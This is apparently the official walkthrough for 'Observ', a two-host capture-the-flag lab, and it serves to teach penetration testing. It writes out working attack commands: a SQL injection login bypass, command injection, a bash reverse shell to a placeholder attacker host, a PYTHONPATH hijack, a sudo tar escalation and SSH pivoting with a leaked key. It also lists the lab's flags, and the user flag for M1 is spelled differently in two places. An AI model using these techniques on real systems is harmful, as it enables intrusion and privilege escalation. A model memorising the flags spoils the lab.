

Observ Official Walkthrough

Observ — Official Walkthrough

- **Lab:** Observ (chained-host offensive, 2 machines)
- **Difficulty:** Intermediate
- **Flags:** M1 `local.txt` + `proof.txt`, M2 `local.txt` + `proof.txt`

This walkthrough explains the enumeration, discovery and exploitation of every vulnerable vector on the chain. A **Lessons** section at the end lists everything the box is intended to teach. ATT&CK mapping is in `mitre-attack.md`.

In a normal deployment you attack from Kali on the external network. With the Docker package, M1 is at `127.0.0.1` (web) and `127.0.0.1:2222` (SSH); commands below work identically — just add `-p 2222` to SSH and use port 80.

Machine 1 — `web` (172.20.0.2)

1. Enumeration

```
nmap -p- -sV <M1>
# 22/tcp open  ssh      OpenSSH
# 80/tcp open  http      Apache httpd + PHP
curl -s http://<M1>/robots.txt
# Disallow: /monitor/
# Disallow: /config.php
```

The site is the **Observ** monitoring portal: a login form. `robots.txt` reveals `/monitor/`.

2. SQL injection — authentication bypass

The login query concatenates input directly. Supplying username `admin' -- -` comments out the password check:

```
curl -s -c cookies.txt -i \
  --data-urlencode "username=admin' -- -" \
```

```
--data-urlencode "password=x" \  
http://<M1>/index.php | grep Location  
# Location: /monitor/dashboard.php
```

The dashboard exposes a **Host Diagnostics** tool at `/monitor/diag.php`.

3. OS command injection — foothold (`www-data`)

The tool runs `ping -c 1 <host>` unsanitised:

```
curl -s -b cookies.txt \  
--data-urlencode "host=127.0.0.1; id" \  
http://<M1>/monitor/diag.php  
# ... uid=33(www-data) gid=33(www-data) ...
```

Upgrade to a reverse shell:

```
# attacker: nc -lvnp 9001  
# host field: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/<ATTACKER>/9001 0>&1'
```

4. Credential reuse — lateral move to `developer`

```
cat /var/www/html/config.php  
# $DB_USER = 'observ_app';  
# $DB_PASS = 'Pr0dDbAcc3ss!2023';
```

The `notes` table in the DB confirms the password is reused for the local `developer` account:

```
su developer          # Pr0dDbAcc3ss!2023 (or: ssh developer@<M1> -p 2222)  
cat ~/local.txt       # OBSERV{w3b_f00th0ld_ch41n3d_t0_r00t_9f2c}
```

5. Privilege escalation — PYTHONPATH hijack → root

```
sudo -l  
# Defaults env_keep += "PYTHONPATH"  
# (root) NOPASSWD: /usr/bin/python3 /opt/health/check.py
```

`check.py` is root-owned and does `import netcheck`. The genuine `netcheck` lives in **site-packages** (not beside the script), and `sudo` preserves `PYTHONPATH`. Python searches `PYTHONPATH` before site-packages, so a planted module is imported as root:

```

mkdir -p /tmp/x
cat > /tmp/x/netcheck.py <<'EOF'
import os
os.setuid(0); os.setgid(0)
os.system("/bin/bash")
EOF
sudo PYTHONPATH=/tmp/x /usr/bin/python3 /opt/health/check.py
# id -> uid=0(root)
cat /root/proof.txt      # OBSERV{m1_r00t_pyth0np4th_h1j4ck_a71d}

```

Pivot — M1 → internal network

As `developer` (or root), enumerate the second interface and the internal host:

```

ip addr          # eth0 (external) + eth1 on 172.20.0.x
cat ~/.ssh/config # Host backup-internal -> 172.20.0.3 (svc_backup)
cat ~/notes.txt  # 172.20.0.3 reachable only from here
ls -la ~/.ssh/    # svc_backup_id_ed25519 (leaked private key)

```

`172.20.0.3` (M2) is unreachable from the attacker directly — pivot through M1. Any method works:

```

# A) ProxyJump:
ssh -J developer@M1:2222 -i svc_backup_key svc_backup@172.20.0.3
# B) dynamic SOCKS + proxychains:
ssh -D 1080 developer@M1 -p 2222
proxychains ssh -i svc_backup_key svc_backup@172.20.0.3
# C) from a shell already on M1:
ssh -i ~/.ssh/svc_backup_id_ed25519 svc_backup@172.20.0.3

```

Machine 2 — internal (172.20.0.3)

6. Foothold (`svc_backup`)

The leaked key logs you straight in:

```

whoami          # svc_backup
cat ~/local.txt  # OBSERV{p1v0t3d_t0_1nt3rn4l_h0st_c3d8}

```

7. Privilege escalation — `sudo tar` (GTFOBins) → root

```
sudo -l
# (root) NOPASSWD: /usr/bin/tar
sudo tar -cf /dev/null /dev/null \
    --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id -> uid=0(root)
cat /root/proof.txt      # OBSERV{d0ubl3_pwn_tar_g7f0b1ns_r00t_4e90}
```

Both machines rooted. 🏁

Summary of the chain

#	Host	Technique	Result
1	M1	SQL injection auth bypass	panel access
2	M1	OS command injection	www-data
3	M1	credential reuse (config.php → local user)	developer
4	M1	sudo + PYTHONPATH hijack	root
5	—	network pivot via leaked SSH key	reach 172.20.0.3
6	M2	key-based SSH foothold	svc_backup
7	M2	sudo tar GTFOBins	root

Flags

Host	User flag	Root flag
M1 web	OBSERV{w3b_f00th0ld_ch4ln3d_t0_r00t_9f2c}	OBSERV{m1_r00t_pyth0np4th_h1j4ck_a71d}
M2 internal	OBSERV{p1v0t3d_t0_1nt3rn4l_h0st_c3d8}	OBSERV{d0ubl3_pwn_tar_g7f0b1ns_r00t_4e90}

Lessons

This box is designed to test and teach:

1. **Web content discovery** — reading `robots.txt` and enumerating hidden paths (`/monitor/`) to find the real attack surface.
2. **SQL injection authentication bypass** — recognising unsanitised login logic and using a comment payload instead of trying to crack a strong hash.
3. **OS command injection** — identifying a shell-backed feature (ping) and injecting metacharacters for code execution.
4. **Credential hygiene / reuse** — looting secrets from world-readable config files and spotting that a service password is reused for an interactive account (don't brute force what's lying in a file).
5. **Linux privilege escalation via** `sudo -l` — enumerating allowed commands and environment handling.
6. **Python module/ `PYTHONPATH` hijacking** — understanding Python's import search order (script dir → `PYTHONPATH` → site-packages) and why `env_keep += PYTHONPATH` turns a benign health check into a root shell. The key reasoning step: the hijack works *only* because the real module is **not** next to the script.
7. **Post-exploitation network enumeration** — discovering a second NIC and an internal subnet that was invisible from outside.
8. **Pivoting / tunnelling** — using a looted SSH key and a jump host (ProxyJump / dynamic SOCKS) to reach a segmented, otherwise-unreachable host.
9. **`sudo` binary abuse (GTFOBins)** — escalating with an unrestricted `sudo tar` via `--checkpoint-action .`

The two privilege escalations use **different** techniques on purpose, and the internal host cannot be touched without first rooting (or at least pivoting through) the entry host — reinforcing that real engagements are chains, not single exploits.